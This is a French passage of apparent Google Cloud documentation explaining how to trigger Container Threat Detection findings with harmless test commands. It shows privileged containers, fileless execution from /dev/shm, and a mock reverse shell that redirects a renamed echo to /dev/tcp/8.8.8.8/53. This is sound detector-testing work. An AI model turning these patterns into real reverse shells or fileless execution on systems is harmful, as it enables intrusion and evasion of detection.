Pour déclencher un résultat Privilege Escalation: Fileless Execution in /dev/shm, un processus doit être exécuté à partir du système de fichiers en mémoire /dev/shm. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/echo est copié dans /dev/shm/echo. Ce binaire renommé est ensuite exécuté. L'exécution d'un fichier sous /dev/shm est signalée comme suspecte, car elle imite le comportement d'un objet qui tente de s'exécuter en mémoire pour éviter les détections basées sur les fichiers.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un conteneur privilégié et ouvrez bash pour exécuter des commandes :

Nœud x86 :

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"spec": {"containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]}}' \
   "$tag" -- bash

Nœud ARM :

tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -it \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": {
   "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true, "securityContext": {"privileged": true}}]
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash

Copiez echo dans /dev/shm et rendez-le exécutable à l'aide de chmod.
```
  cp /bin/echo /dev/shm
  chmod 777 /dev/shm/echo
```
Remontez /dev/shm pour activer l'exécution.
```
  mount -o remount,exec /dev/shm
```
Exécuter echo à partir de /dev/shm
```
  /dev/shm/echo "Hello from /dev/shm"
```

Cette procédure de test doit créer un résultat Privilege Escalation: Fileless Execution in /dev/shm que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Interface système inversée

Pour déclencher un résultat d'interface système inversée, démarrez un fichier binaire avec une redirection stdin vers un socket connecté TCP. Cet exemple copie /bin/echo dans /tmp/sh, puis démarre /tmp/sh avec une redirection vers le DNS public de Google 8.8.8.8 sur le port DNS. Aucun élément n'est imprimé lorsque vous exécutez cet exemple. Pour empêcher toute injection de code externe via une attaque MTIM ("man in the middle"), cet exemple n'utilise pas le binaire /bin/sh.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Démarrez un fichier binaire avec une redirection /bin/echo vers le DNS public de Google :

Nœud x86 :

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Nœud ARM :

tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1"

Cette procédure de test crée un résultat d'interface système inversée que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Shell enfant inattendu

Pour tester le détecteur Unexpected Child Shell, vous pouvez créer un arbre de processus qui inclut un processus shell enfant.

L'exemple suivant crée un arbre de processus consul->dash, qui peut être détecté par le détecteur Unexpected Child Shell. Ce test est sûr, car il n'utilise que des binaires intégrés. Cet exemple effectue les opérations suivantes :

Crée une copie du processus sh et la nomme consul.
Copie le processus echo et le nomme dash.
Appelle le processus dash copié dans le processus consul copié.

Pour déclencher un résultat Unexpected Child Shell :

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Utilisez le processus consul fictif pour appeler un shell fictif :

Nœud x86 :

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu "$tag" \
   --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Nœud ARM :

tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -ti \
   --image ubuntu \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" --command -- /bin/sh -c \
      'cp /bin/sh /tmp/consul; cp /bin/echo /tmp/sh; \
      /tmp/consul -c "/tmp/sh child ran successfully & wait"'

Cette procédure de test crée un résultat Unexpected Child Shell que vous pouvez afficher dans Security Command Center. Si la journalisation est configurée pour Container Threat Detection et que vous avez activé Security Command Center Premium ou Enterprise au niveau de l'organisation, vous pouvez également afficher le résultat dans Cloud Logging.

Étapes suivantes

Découvrez comment utiliser Container Threat Detection.

Tester Container Threat Detection Restez organisé à l'aide des collections Enregistrez et classez les contenus selon vos préférences.

Avant de commencer

Activer les détecteurs

Définir des variables d'environnement

Fichier binaire ajouté exécuté

Ajout de bibliothèque chargée

Commande et contrôle : outil de stéganographie détecté

Accès aux identifiants : trouver des identifiants Google Cloud

Accès aux identifiants : reconnaissance des clés GPG

Accès aux identifiants : rechercher des clés privées ou des mots de passe

Contournement des défenses : lignes de commande avec fichier ELF en base64

Contournement des défenses : script Python encodé en base64 exécuté

Contournement des défenses : script shell encodé en base64 exécuté

Évasion des défenses : lancer un outil de compilation de code dans un conteneur

Exécution : binaire malveillant ajouté exécuté

Exécution : fuite du conteneur

Exécution : exécution sans fichier dans /memfd:

Exécution : exploitation de la faille IngressNightmare

Exécution : exécution d'un outil d'attaque de Kubernetes

Exécution : exécution d'un outil de reconnaissance local

Exécution : code Python malveillant exécuté

Exécution : binaire malveillant modifié exécuté

Exécution : exécution de code Netcat à distance dans un conteneur

Exécution : possible exécution de commande à distance détectée

Exécution : exécution d'un programme avec un environnement de proxy HTTP non autorisé

Exécution : Objet partagé OpenSSL suspect chargé

Exfiltration : lancer des outils de copie de fichiers à distance dans un conteneur

Impact : Détecter les lignes de commande malveillantes

Impact : supprimer des données du disque de manière groupée

Impact : activité de minage de cryptomonnaie suspecte utilisant le protocole Stratum

Script malveillant exécuté

URL malveillante observée

Élévation des privilèges : exécution sans fichier dans /dev/shm

Interface système inversée

Shell enfant inattendu

Étapes suivantes

Tester Container Threat Detection

Exécution : exécution sans fichier dans `/memfd:`

Élévation des privilèges : exécution sans fichier dans `/dev/shm`